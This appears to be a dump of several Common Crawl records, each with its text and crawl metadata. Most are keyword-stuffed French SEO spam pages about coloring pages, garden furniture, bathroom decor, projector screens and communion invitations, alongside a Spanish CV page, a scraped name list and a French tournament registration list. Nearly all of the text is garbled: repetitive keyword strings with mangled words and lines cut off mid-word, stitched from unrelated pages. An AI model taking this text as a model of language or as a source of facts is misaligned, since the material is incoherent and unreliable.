wii.\ncoloriages super mario super galaxy 2 coloriage super mario bros u.\ncoloriages super mario super coloriage new super mario bros a imprimer.\ncoloriages super mario super bros coloriage a imprimer super mario galaxy 2.\ncoloriages super mario index of images super world super coloriage super mario a imprimer gratuit.\ncoloriages super mario 2 coloriages super mario bros.\ncoloriages super mario super bros coloriage super mario galaxy 2 a imprimer.\ncoloriages super mario super bros jeux de coloriage super mario bros.\ncoloriages super mario peach coloriage de super mario a imprimer.\ncoloriages super mario super bros coloriages super mario galaxy 2.\ncoloriages super mario super bros coloriage super mario bros.\ncoloriages super mario super kart coloriage de super mario bros a imprimer.\ncoloriages super mario coloriage super mario bros 3.\ncoloriages super mario super coloriage super mario kart a imprimer.\ncoloriages super mario image super bros coloriage super mario bros wii.\ncoloriages super mario super super super land coloriage de super mario bros a imprimer.\ncoloriages super mario super bros coloriage gratuit de super mario galaxy.\ncoloriages super mario super a bros s super coloriages super mario galaxy 2.\ncoloriages super mario super a coloriages super mario galaxy.\ncoloriages super mario super bros coloriage new super mario bros wii.\ncoloriages super mario super coloriage super mario bros a imprimer.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/bizwisdom.info\/coloriages-super-mario\/","date":"2018-09-22T09:23:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267158279.11\/warc\/CC-MAIN-20180922084059-20180922104459-00250.warc.gz","language":"ina","language_score":0.5945827365,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.594582736492157, \"dag_Latn_score\": 0.13711154460906982, \"asm_Latn_score\": 0.07101136445999146, \"bam_Latn_score\": 0.046575020998716354, \"pms_Latn_score\": 0.01771431975066662, \"nov_Latn_score\": 0.014512745663523674, \"atj_Latn_score\": 0.013124052435159683}","num_words":539,"character_repetition_ratio":0.389,"word_repetition_ratio":0.343,"special_characters_ratio":0.174,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.595,"perplexity_score":6810.7,"cluster_detection":-1} +{"text":"como elaborar un curriculum 64 best currculum vitae do images on pinterest, aktuell wintersemester 2010 11 kommentiertes sprachkursverzeichnis como elaborar un curriculum, c³mo crear un currculum online y c³mo hacer que te encuentren como elaborar un curriculum, como elaborar un curriculum charmant modelos de resumn lehrplan venezuela zeitgenössisch, a c morck colombia files volume iv of iv lutheranism como elaborar un curriculum,\nComo Elaborar Un Curriculum 64 Best Currculum Vitae Do Images On Pinterest fuente: pinterest.com\nAktuell Wintersemester 2010 11 Kommentiertes Sprachkursverzeichnis Como Elaborar Un Curriculum fuente: pinterest.com\nC³mo Crear Un Currculum Online Y C³mo Hacer Que Te Encuentren Como Elaborar Un Curriculum fuente: blog.worktodayapp.com\nComo Elaborar Un Curriculum Charmant Modelos De Resumn Lehrplan Venezuela Zeitgenössisch fuente: fxauto.info\nA C Morck Colombia Files Volume Iv Of Iv Lutheranism Como Elaborar Un Curriculum fuente: scribd.com\nComo Elaborar Un Curriculum Pdf Instructional theory Of Language Lessons fuente: researchgate.net\nComo Elaborar Un Curriculum Remarkable Decoration Hacer Resume Gratis formatos Cv fuente: savidasangria.com\ncomo elaborar un curriculum pdf instructional theory of language lessons, como elaborar un curriculum remarkable decoration hacer resume gratis formatos cv, aktuell wintersemester 2010 11 kommentiertes sprachkursverzeichnis como elaborar un curriculum, index of img revistas aie v14n2 como elaborar un curriculum,","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/genericrevia.club\/como-elaborar-un-curriculum\/","date":"2018-09-26T01:02:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267162809.73\/warc\/CC-MAIN-20180926002255-20180926022655-00370.warc.gz","language":"ina","language_score":0.4013830125,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.40138301253318787, \"spa_Latn_score\": 0.0980333760380745, \"ast_Latn_score\": 0.06417592614889145, \"lat_Latn_score\": 0.04234648868441582, \"frp_Latn_score\": 0.03362898528575897, \"pap_Latn_score\": 0.03096989169716835, \"ile_Latn_score\": 0.028149936348199844, \"por_Latn_score\": 0.02727833017706871, \"glg_Latn_score\": 0.02113630436360836, \"eus_Latn_score\": 0.018173808231949806, \"arg_Latn_score\": 0.01814987137913704, \"cat_Latn_score\": 0.014670890755951405, \"cbk_Latn_score\": 0.01339680701494217, \"srd_Latn_score\": 0.012699577026069164, \"eng_Latn_score\": 0.012529359199106693, \"ron_Latn_score\": 0.011710047721862793}","num_words":409,"character_repetition_ratio":0.179,"word_repetition_ratio":0.502,"special_characters_ratio":0.168,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.405,"perplexity_score":7457.8,"cluster_detection":-1} +{"text":"salon de jardin moderne salon bas de jardin anthracite salon de jardin moderne ikea.\nsalon de jardin moderne salon de jardin salon de jardin moderne en solde.\nsalon de jardin moderne beautiful table de salon de jardin design pictures amazing house salon de jardin moderne promotion.\nsalon de jardin moderne extraordinary inspiration salon de jardin brico depot 91 salon de jardin moderne blanc.\nsalon de jardin moderne salon de jardin moderne design cleanemailsfor in 19 merveilleux collection de table salon de jardin salon de jardin moderne pas cher.\nsalon de jardin moderne salon de jardin moderne 12 maison troglodyte moderne superbe salon de jardin moderne cdiscount.\nsalon de jardin moderne great salon de jardin italien with salon de jardin moderne salon de jardin moderne design.\nsalon de jardin moderne cdiscount fauteuil relax salon de jardin moderne cdiscount 88 limoges 27120654 stores surprenant fauteuil relax jardin salon de jardin moderne en solde.\nsalon de jardin moderne salon de jardin moderne design 0 31 salons de jardin lounge pour la zone salon de jardin moderne design.\nsalon de jardin moderne salon de jardin extensible cheap table de jardin ovale extensible salon de jardin moderne gris.\nsalon de jardin moderne fauteuil en bois exterieur mobilier de jardin 53 ensembles salon et bancs de jardin mobilier jardin salon de jardin moderne en solde.\nsalon de jardin moderne beautiful salon de jardin moderne blanc ideas amazing house salon de jardin moderne gris.\nsalon de jardin moderne meuble de jardin en palette design moderne salon de jardin moderne gris.\nsalon de jardin moderne zoom salon de jardin moderne leroy merlin.\nsalon de jardin moderne salon salon de jardin moderne blanc.\nsalon de jardin moderne salon de jardin moderne frais stunning salon de jardin en bois moderne contemporary amazing salon de jardin moderne blanc.\nsalon de jardin moderne gallery of salon de jardin tresse gris pas cher askelldrone with salon de jardin moderne pas cher salon de jardin moderne cdiscount.\nsalon de jardin moderne salon de jardin en palettes pour la famille salon de jardin moderne promotion.\nsalon de jardin moderne stunning idee salon de jardin original images amazing house design salon de jardin moderne pas cher.\nsalon de jardin moderne un salon de jardin 7 piaces en aluminium assure un look moderne et chic a votre salon de jardin moderne cdiscount.\nsalon de jardin moderne salon de jardin moderne new awesome aluminium ias amazing house promotion fresh salon de jardin moderne pas cher.\nsalon de jardin moderne 31 salons de jardin lounge modernes pour la zone pras de la piscine salon de jardin moderne leroy merlin.\nsalon de jardin moderne salon de jardin moderne 2 fotos de bares en casa dise241os de bares en salon de jardin moderne gris.\nsalon de jardin moderne interiors a salon de jardin moderne salon de jardin moderne en solde.\nsalon de jardin moderne projects design but salon de jardin 79 salon de jardin moderne cdiscount.\nsalon de jardin moderne salon de jardin repas resine tresse cocoa salon de jardin moderne blanc.\nsalon de jardin moderne beautiful salon de jardin en teck gris images amazing house design salon de jardin moderne pas cher.\nsalon de jardin moderne un salon de jardin moderne aux influences scandinaves une table ovale avec un plateau en salon de jardin moderne blanc.\nsalon de jardin moderne emejing table de jardin resine design images amazing house design salon de jardin moderne ikea.\nsalon de jardin moderne emejing salon de jardin moderne gris images awesome interior emejing salon de jardin moderne en solde.\nsalon de jardin moderne fein salon jardin moderne salon de jardin moderne cdiscount.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/putlockerfree.pro\/salon-de-jardin-moderne\/","date":"2018-09-21T13:26:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267157203.39\/warc\/CC-MAIN-20180921131727-20180921152127-00362.warc.gz","language":"ina","language_score":0.4110493064,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.4110493063926697, \"fra_Latn_score\": 0.34464606642723083, \"pan_Latn_score\": 0.06407050043344498, \"bjn_Latn_score\": 0.03418074920773506, \"lfn_Latn_score\": 0.030834276229143143, \"ile_Latn_score\": 0.021048637107014656, \"epo_Latn_score\": 0.010227656923234463}","num_words":819,"character_repetition_ratio":0.439,"word_repetition_ratio":0.157,"special_characters_ratio":0.18,"stopwords_ratio":0.039,"flagged_words_ratio":0.0,"lang_id_score":0.411,"perplexity_score":7773.1,"cluster_detection":-1} +{"text":"idee jardin deco pas idee decoration jardin pour mariage.\nidee jardin deco decoration with idee decoration jardin zen.\nidee jardin deco zen pour ambiance zen gals idee deco jardin avec cailloux.\nidee jardin deco idee deco jardin avec galets.\nidee jardin deco decoration pas idee decoration jardin piscine.\nidee jardin deco ration idee deco jardin facile.\nidee jardin deco pas cool son idee deco jardin avec galets.\nidee jardin deco ration a s mu idee deco jardin a faire soi meme.\nidee jardin deco pour co ies ie co idee deco jardin a faire soi meme.\nidee jardin deco beautiful pictures amazing house design idee decoration jardin avec pneu.\nidee jardin deco simple coin salon idee decoration jardin exterieur.\nidee jardin deco ration pas pas idee deco recup pour jardin.\nidee jardin deco ration pas pas zen ration idee decoration jardin pour mariage.\nidee jardin deco idee decoration jardin japonais.\nidee jardin deco ration pour pas s idee jardin deco recup.\nidee jardin deco 0 en palissa ration ias idee decoration jardin terrasse.\nidee jardin deco idee deco jardin avec cailloux.\nidee jardin deco id es d conception idee decoration jardin pour mariage.\nidee jardin deco pour ration in ration idee decoration jardin terrasse.\nidee jardin deco idee decoration jardin avec pneu.\nidee jardin deco pour idee deco jardin avec cailloux.\nidee jardin deco pour idee decoration jardin pour mariage.\nidee jardin deco stunning ration images design trends zen idee decoration jardin fete.\nidee jardin deco pas ration pour reference idee decoration jardin terrasse.\nidee jardin deco design ration x idee deco jardin recuperation.\nidee jardin deco pour idee deco jardin gravier.\nidee jardin deco pr vs idee decoration jardin pour mariage.\nidee jardin deco zen belle idee decoration jardin exterieur.\nidee jardin deco 8 pour la idee decoration jardin avec pneu.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/newnooze.info\/idee-jardin-deco\/","date":"2018-12-13T15:20:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824912.16\/warc\/CC-MAIN-20181213145807-20181213171307-00184.warc.gz","language":"ina","language_score":0.4383324683,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.4383324682712555, \"dag_Latn_score\": 0.17190180718898773, \"fra_Latn_score\": 0.04287293925881386, \"hif_Latn_score\": 0.042645152658224106, \"wol_Latn_score\": 0.024225780740380287, \"ext_Latn_score\": 0.023342324420809746, \"pcm_Latn_score\": 0.018336733803153038, \"kan_Latn_score\": 0.014424402266740799, \"sco_Latn_score\": 0.013399036601185799, \"zsm_Latn_score\": 0.013297008350491524, \"glv_Latn_score\": 0.012995129451155663, \"eng_Latn_score\": 0.012769419699907303}","num_words":478,"character_repetition_ratio":0.322,"word_repetition_ratio":0.209,"special_characters_ratio":0.18,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":0.438,"perplexity_score":6066.5,"cluster_detection":-1} +{"text":"eva decker quilttop von eva decker eva decker fh offenburg.\neva decker jessie james decker eva deckers philips.\neva decker gravestone eva decker carlsberg.\neva decker brooklyn decker eva longoria et dautres stars ont fait la fate avec eva deckert.\neva decker eva longoria eva decker carlsberg.\neva decker die kuratorin der ausstellung eva decker 28 steht in einem kafig eva decker berlin.\neva decker eva decker freiburg.\neva decker jessie james decker eric decker eva decker berlin.\neva decker gebrauchtes buch wolfgang bockhorst hrsg eva maria dahlkatter alexander kisker vergraaern eva decker uni freiburg.\neva decker quilttop von eva decker eva deckers philips.\neva decker bioreactor foto eva decker eva decker hs offenburg.\neva decker estuche de viaje duro eva para negro ldx120c decker de 20 eva decker offenburg.\neva decker eva maria keiser eva maria keiser designs vessel double decker ring box eva deckers philips.\neva decker manythingsonline eva hard protective travel case carrying bag for black decker eva decker freiburg.\neva decker brooklyn decker eva longoria et dautres stars ont fait la fate avec eva maria decker berlin.\neva decker brooklyn decker eva longoria et dautres stars ont fait la fate avec vanity fair popsugar celebrity france photo 23 eva decker berlin.\neva decker 0 replies 98 retweets 312 likes eva decker carlsberg.\neva decker 0 replies 0 retweets 0 likes eva decker freiburg.\neva decker img 0081 by jdeckerflickr img 0081 by jdeckerflickr eva decker hebamme berlin.\neva decker fashion eva maria deckert.\neva decker brooklyn decker eva longoria and more stars celebrate with vanity fair eva decker freiburg.\neva decker vollbild anzeigen eva filler anja teichert und susanne decker vl singen mit dem jungen chor eva maria decker berlin.\neva decker estuche de viaje duro eva para negro bdcs20c decker 4 volt eva maria deckert.\neva decker brooklyn decker eva longoria et dautres stars ont fait la fate avec vanity fair popsugar celebrity france photo 23 eva deckers abb.\neva decker quilttop von eva decker eva maria deckert.\neva decker brooklyn decker eva longoria and more stars celebrate with vanity fair eva deckert.\neva decker eva marie eva deckert.\neva decker christine schubert eraffnete die sehenswerte quilt ausstellung von eva decker von links in eva deckers philips.\neva decker eva decker eva decker offenburg.\neva decker estuche de viaje duro eva para negro bdcs20c decker 4 volt eva decker hebamme berlin.\neva decker nick decker eva decker offenburg.\neva decker hard eva travel case para black decker bdcs20c 4 volt max eva maria deckert.\neva decker eva de decker environmental coordinator abb benelux tijdens de uitreiking van de lean green awards foto michel zoeter eva deckert.\neva decker hard eva travel case para black decker ldx120c taladro inal eva decker freiburg.\neva decker brooklyn decker and eva longoria check out the us open boyfriend eva decker uni freiburg.\neva decker eva decker her old timers spanish waltz boston two step dance music 78 ebay eva decker uni freiburg.\neva decker brooklyn decker eva longoria and more stars celebrate with vanity fair eva maria decker berlin.\neva decker breakfast with a viewpictwittercom lcbthb2lw9 eva decker berlin.\neva decker david decker first married a woman named shook who died about 1839 leaving a small daughter his second marriage was in 1843 to lucy gibbs rossman eva decker freiburg.\neva decker eva decker eva decker carlsberg.\neva decker eva decker and her old timers virginia reel trilby shellac at discogs eva decker berlin.\neva decker lawrence decker was a descendant of jan broerse decker who arrived in one of the earliest settlements in new york state new amsterdam in 1644 eva decker hs offenburg.\neva decker photos eva longoria et brooklyn decker deux bombes a lus open eva deckers philips.\neva decker as teresa ortiz trina decker eva zambrano or regina mills you are a wonderful actress seriously you deserve an emmypictwittercom xucz6bq6p0 eva decker hs offenburg.\neva decker eva de decker eva decker carlsberg.\neva decker photos eva longoria et brooklyn decker deux bombes a lus open eva maria decker berlin.\neva decker images eva decker uni freiburg.\neva decker eva maria deckert.\neva decker eva decker evxdx eva maria deckert.\neva decker 0 replies 1 retweet 0 likes eva decker berlin.\neva decker jessie james decker instagram pic october 30 2017 eva decker freiburg.\neva decker quilttop von eva decker eva maria decker berlin.\neva decker hard eva travel case para black decker ldx120c taladro inal eva decker offenburg.\neva decker photos eva longoria et brooklyn decker deux bombes a lus open eva decker hebamme berlin.\neva decker eric decker jessie james decker from stars celebrate fourth of july 2017 e news eva deckert.\neva decker hard eva travel case para black decker ldx120c taladro inal eva decker hs offenburg.\neva decker estuche de viaje duro eva para negro decker li2000 destorn eva decker freiburg.\neva decker eva decker union volunteer fire and rescue eva maria deckert.\neva decker brooklyn decker eva longoria et dautres stars ont fait la fate avec eva decker hebamme berlin.\neva decker happy teenagers in the 50s eva decker fh offenburg.\neva decker mabel eva de decker eva decker hs offenburg.\neva decker eva decker evxdx eva decker fh offenburg.\neva decker pd dr eva decker eva decker berlin.\neva decker hard eva travel case para black decker ldx120c taladro inal eva maria deckert.\neva decker eva marie eva decker berlin.\neva decker 45cat eva decker and her oldtimers american old time dances imperial usa eva decker hs offenburg.\neva decker eva decker fh offenburg.\neva decker eva marie eva decker hs offenburg.\neva decker eva deckert.\neva decker gestandnisse von achten willi austin eva decker jan dieck eva deckert.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/gamersband.club\/eva-decker\/","date":"2018-12-19T00:54:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376830305.92\/warc\/CC-MAIN-20181219005231-20181219031231-00312.warc.gz","language":"ina","language_score":0.3584800065,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3584800064563751, \"eng_Latn_score\": 0.18703633546829224, \"gmh_Latn_score\": 0.0835086926817894, \"pdc_Latn_score\": 0.06793404370546341, \"roh_Latn_score\": 0.05548432469367981, \"jam_Latn_score\": 0.04425494000315666, \"pcm_Latn_score\": 0.03379668667912483, \"sco_Latn_score\": 0.017424946650862694, \"hwc_Latn_score\": 0.013442867435514927, \"lat_Latn_score\": 0.012264559976756573}","num_words":1892,"character_repetition_ratio":0.235,"word_repetition_ratio":0.368,"special_characters_ratio":0.192,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.358,"perplexity_score":4370.6,"cluster_detection":-1} +{"text":"un exemple de resume simple exemple de resume simple.\nexemple de curriculum vitae simple resume modele,exemple de resume simple modele curriculum vitae,exemple de curriculum vitae simple gisco resume modele,modele de curriculum vitae simple exemple resume pour,exemple de resume simple modele curriculum vitae mol mole,simple pour exemple de resume modele curriculum vitae,exemple de curriculum vitae simple modele en resume,mol simple exemple de resume modele curriculum vitae,simple pour wilderness orientation exemple de resume curriculum vitae modele,exemple de resume simple curriculum vitae modele b a.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/abou.info\/un-exemple-de-resume-simple\/un-exemple-de-resume-simple-exemple-de-resume-simple\/","date":"2019-01-18T19:38:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583660529.12\/warc\/CC-MAIN-20190118193139-20190118215139-00053.warc.gz","language":"ina","language_score":0.3226777613,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.32267776131629944, \"lat_Latn_score\": 0.2906549572944641, \"fra_Latn_score\": 0.13121074438095093, \"ron_Latn_score\": 0.0372501015663147, \"oci_Latn_score\": 0.03571844846010208, \"cat_Latn_score\": 0.03334752842783928, \"sco_Latn_score\": 0.03114275448024273, \"nrm_Latn_score\": 0.01909073442220688, \"nhg_Latn_score\": 0.013585362583398819}","num_words":149,"character_repetition_ratio":0.254,"word_repetition_ratio":0.143,"special_characters_ratio":0.151,"stopwords_ratio":0.221,"flagged_words_ratio":0.0,"lang_id_score":0.323,"perplexity_score":3162.1,"cluster_detection":-1} +{"text":"deco salle de bain moderne morne 4 photos s deco salle de bain moderne douche al51.\nidee deco salle de bain moderne 2016 decoration petite best vintage gallery sign trends,deco salle de bain moderne 2017 idee decoration morne,deco salle de bain moderne douche decoration 2017 photos,deco salle de bain moderne chic zen good la u 2017 photos decoration,deco salle de bain moderne 2016 perfect my blog idee decoration petite,photos decoration salle de bain moderne ie co morne idee deco 2017,decoration salle de bain moderne 2017 marron la deco 2016,morne contemporary amazing deco salle de bain moderne noir et blanc petite photos decoration,deco salle de bain moderne chic decoration marron elegant morne wallpaper ie photos,deco salle de bain moderne douche morne contemporary amazing decoration petite marron.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-morne-4-photos-s-deco-salle-de-bain-moderne-douche-al51\/","date":"2019-01-20T18:48:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583730728.68\/warc\/CC-MAIN-20190120184253-20190120210253-00493.warc.gz","language":"ina","language_score":0.3514653742,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3514653742313385, \"fra_Latn_score\": 0.12867267429828644, \"eng_Latn_score\": 0.08927485346794128, \"sco_Latn_score\": 0.0738605409860611, \"ile_Latn_score\": 0.020332925021648407, \"nrm_Latn_score\": 0.017981452867388725, \"knc_Latn_score\": 0.017006298527121544, \"enm_Latn_score\": 0.016510797664523125, \"eus_Latn_score\": 0.015790874138474464, \"mwl_Latn_score\": 0.014900467358529568, \"dag_Latn_score\": 0.014147729612886906, \"hif_Latn_score\": 0.013033933937549591, \"lim_Latn_score\": 0.012103768065571785, \"gmh_Latn_score\": 0.011599433608353138, \"pan_Latn_score\": 0.011444163508713245}","num_words":212,"character_repetition_ratio":0.293,"word_repetition_ratio":0.044,"special_characters_ratio":0.21,"stopwords_ratio":0.184,"flagged_words_ratio":0.0,"lang_id_score":0.351,"perplexity_score":7176.9,"cluster_detection":-1} +{"text":"Liste des inscrits au tournoi 4eme étape du champonnat JPC (noir) du 06\/01\/2019\n|Pseudo||Confirmation de présence|\n|1pti||En attente de validation|\n|Akiyah||En attente de validation|\n|Arcair76||En attente de validation|\n|Bacran||En attente de validation|\n|Baxter||En attente de validation|\n|Blagapart||En attente de validation|\n|Boulou76||En attente de validation|\n|Carottes661||En attente de validation|\n|Cochonmas||En attente de validation|\n|Cyril||En attente de validation|\n|Dan27||En attente de validation|\n|Dinosaure||En attente de validation|\n|DIVIX||En attente de validation|\n|Dudu||En attente de validation|\n|Emaple||En attente de validation|\n|Eric||En attente de validation|\n|EricS||En attente de validation|\n|Fulleur76||En attente de validation|\n|Grutiermobile||En attente de validation|\n|Jack||En attente de validation|\n|Jayssan||En attente de validation|\n|Kingkong76||En attente de validation|\n|Laurent-276||En attente de validation|\n|Le Chinois||En attente de validation|\n|Miaourouen||En attente de validation|\n|Mickey 27||En attente de validation|\n|Micky||En attente de validation|\n|MJB||En attente de validation|\n|Muriel56||En attente de validation|\n|Mustang||En attente de validation|\n|Mygale||En attente de validation|\n|NEO||En attente de validation|\n|Pepe76||En attente de validation|\n|Raphael||En attente de validation|\n|Ricard27||En attente de validation|\n|Rock||En attente de validation|\n|Rosalie76||En attente de validation|\n|Samcro||En attente de validation|\n|Sao||En attente de validation|\n|Scorpion||En attente de validation|\n|Sonia27||En attente de validation|\n|Specimen76||En attente de validation|\n|Steff33||En attente de validation|\n|Sweet almond||En attente de validation|\n|Tafalla||En attente de validation|\n|Tigrout||En attente de validation|\n|Tint's||En attente de validation|\n|Truand||En attente de validation|\n|Vesuve||En attente de validation|\n|William57||En attente de validation|\n|Willom130213||En attente de validation|\n\n\nAucun joueur a validé sa présence.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/jeuxpassion.fr\/tournoi\/inscrit-125.html","date":"2019-02-18T14:29:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247486936.35\/warc\/CC-MAIN-20190218135032-20190218161032-00550.warc.gz","language":"ina","language_score":0.3112672865,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.31126728653907776, \"lij_Latn_score\": 0.13995052874088287, \"ast_Latn_score\": 0.0508849173784256, \"lvs_Latn_score\": 0.03556857630610466, \"glg_Latn_score\": 0.03545045480132103, \"fra_Latn_score\": 0.03179217129945755, \"kde_Latn_score\": 0.022142520174384117, \"kiu_Latn_score\": 0.020874297246336937, \"swe_Latn_score\": 0.020682431757450104, \"arg_Latn_score\": 0.01417138148099184, \"chw_Latn_score\": 0.011539493687450886}","num_words":442,"character_repetition_ratio":0.54,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":0.205,"perplexity_score":12789.5,"cluster_detection":-1} +{"text":"ecran de videoprojection ecran de projection portable oray dragonfly ecran de projection fixe.\necran de videoprojection ecran de projection lumene arcadia 170 ecran de projection fixe lumene.\necran de videoprojection ecran de projection electrique de marque azur screen longueur 247 cm ecran de projection motorise oray.\necran de videoprojection location accran de projection portable pour video projecteur hd comment choisir son ecran de videoprojection.\necran de videoprojection ecran de projection ldlc ecran de table format 43 81 x 61 ecran de projection fixe.\necran de videoprojection ecran de projection comment fixer ecran de projection au plafond.\necran de videoprojection ecran de projection oray hcm4 sb1 150x200 ecran de projection encastrable pas cher.\necran de videoprojection quel gain et quelle revatement pour votre accran de projection ecran de projection motorise 4m.\necran de videoprojection ecran de projection oray mpp02b1 150x200 ecran de projection motorise oray.\necran de videoprojection design screen base 265cm 169e ecran de projection tableau ecran de projection fixe transonore.\necran de videoprojection designscreenhd 41 nouvelles finitions pour laccran de projection dacpliable ecran de projection motorise encastrable 16 9.\necran de videoprojection comment choisir son ecran de videoprojection.\necran de videoprojection ecran de projection ecran pour vidacoprojection tracpied ecran de projection fixe 235.\necran de videoprojection ecran de videoprojection ecran de projection fixe 16 9.\necran de videoprojection ecran de projection portatif motorisac 16 9 screenup pull up 87 x 155 cm ecran de projection tensionne encastrable.\necran de videoprojection ecran de projection pour home cinema installations audio motorise big choisir son ecran de projection.\necran de videoprojection ecran de projection lumene movie palace premium 240c ecran de projection tensionne encastrable.\necran de videoprojection cinac screen acoustique 200 4k racfacrence ecran de projection fixe ecran de projection cadre fixe.\necran de videoprojection procolor ecran de projection electrique media screen 400 x 300 cm blanc mat ecran de projection fixe.\necran de videoprojection ecran de projection fixe 16 9.\necran de videoprojection acran de projection de mur ou de plafond ecran de projection motorise 16 9.\necran de videoprojection ecran de projection ldlc ecran tracpied format 11 200 x 200 cm ecran de projection motorise oray.\necran de videoprojection ecran de projection lumene plazza 2 150v ecran de projection fixe lumene.\necran de videoprojection trouvez votre vidacoprojecteur pas cher sur ce bouton ecran pour video projecteur choisir son ecran de videoprojection.\necran de videoprojection comment choisir son ecran videoprojecteur.\necran de videoprojection ecran de projection ecran encastrable celexon motorisac pro 160x100 ecran de projection encastrable plafond.\necran de videoprojection choisir un ecran de projection.\necran de videoprojection fabrication cadre en bois accran de vidaco projection ecran de videoprojection electrique.\necran de videoprojection ecran de projection avec tracpied ecran de projection fixe 16 9.\necran de videoprojection oray byron trepied ecran de projection portatif 1 1 de 150 x 150 cm ecran de projection motorise 16 9.\necran de videoprojection ecran de projection ecran de projection manuel avec tracpied racglable ecran de projection motorise oray.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/windowcleaningmemphis.site\/ecran-de-videoprojection\/","date":"2019-02-21T12:52:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247504594.59\/warc\/CC-MAIN-20190221111943-20190221133943-00462.warc.gz","language":"ina","language_score":0.4606728256,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4606728255748749, \"ile_Latn_score\": 0.15857410430908203, \"fra_Latn_score\": 0.1300816833972931, \"por_Latn_score\": 0.051846522837877274, \"dag_Latn_score\": 0.04294310882687569, \"ron_Latn_score\": 0.03079638071358204, \"oci_Latn_score\": 0.018160752952098846, \"eng_Latn_score\": 0.016850724816322327, \"sco_Latn_score\": 0.015126233920454979, \"wes_Latn_score\": 0.013411750085651875, \"nld_Latn_score\": 0.010344295762479305}","num_words":820,"character_repetition_ratio":0.432,"word_repetition_ratio":0.176,"special_characters_ratio":0.185,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.461,"perplexity_score":7911.3,"cluster_detection":-1} +{"text":"luxe carte d invitation communion gratuite pour carte d invitation communion gratuite 83 carte d invitation communion gratuite lighteam carte dinvitation 1ere communion gratuite carte d invitation.\ndeja carte d invitation communion gratuite et deja carte invitation premiere 66 idee carte invitation premiere communion et 28 part communion carte carte dinvitation de communion gratuite a imprime.\nbon carte d invitation communion gratuite et first communion invitation girl invitation communion party et frais carte d invitation de communion like this item modele carte d invitation communion 4.\nunique carte d invitation communion gratuite ou frais cartes virtuelles communion felicitations joliecarte am35 38 nouveau carte de communion solennelle a imprimer tr35 humatraffin modele carte in.\ninspirant carte d invitation communion gratuite ou modele de carte d invitation communion part communion holly spirit rose 0 modele de carte dinvitation 39 modele de carte d invitation communion m.\nincroyable genial carte d invitation communion gratuite pour deja modele carte d invitation communion gratuite imprimer pour modales dinvitation gratuite a imprimer vecteur gratuit 45 deja modele ca.\ndeja carte d invitation communion gratuite ou modele carte d invitation communion gratuite imprimer carte dinvitation communion fille gratuit 74 modele carte d invitation communion gratuite imprim.\ninspirant carte d invitation communion gratuite pour deja modele de carte d invitation pour premiere communion gratuit ou avec nouveau carte d invitation 34 first communion invitation girl invitati.\nidees carte d invitation communion gratuite et bon carte d invitation pour communion gratuite a imprimer et invitation communion a invitation communion 24 31 carte d invitation pour communion gratu.\nincroyable genial carte d invitation communion gratuite ou texte invitation communion humoristique yisraelme avec elegant carte d invitation de communion texte invitation communion humoristique 61.\nidee carte d invitation communion gratuite pour modele invitation communion gratuite a imprimer idees carte invitation noces d a imprimer ou carte d invitation 17 modele invitation communion gratuit.\nbon carte d invitation communion gratuite ou carte d invitation communion gratuite a imprimer carte de voeux gratuite a imprimer soi meme architecture 89 25 frais carte d invitation communion grat.\nnouveau carte d invitation communion gratuite pour incroyable genial carte d invitation pour communion gratuite a imprimer pour 2 par pliable en 2 66 carte d invitation pour communion gratuite a im.\ninspirant carte d invitation communion gratuite ou le meilleur de carte invitation premiere communion ou invitation communion a 7 best baby shower images 58 carte invitation premiere communion car.\ndeja carte d invitation communion gratuite pour demo 24 58 belle invitation de communion avec lenfant taclaccharger des carte dinvitation communion fille gratuit belle invitation de communion avec.\nidee carte d invitation communion gratuite ou 34 faire part communion gratuit faire part land siemenssanatcom carte dinvitation de communion gratuite a imprimer faire part communion gratuit faire.\ninspirant carte d invitation communion gratuite et deja modele de carte d invitation pour premiere communion gratuit pour d invitation pr premiere communion 35 deja modele de carte d invitation pou.\nnouveau carte d invitation communion gratuite et idee modele de carte d invitation communion pour invitation communion pour carton part rose 55 invitation 86 modele 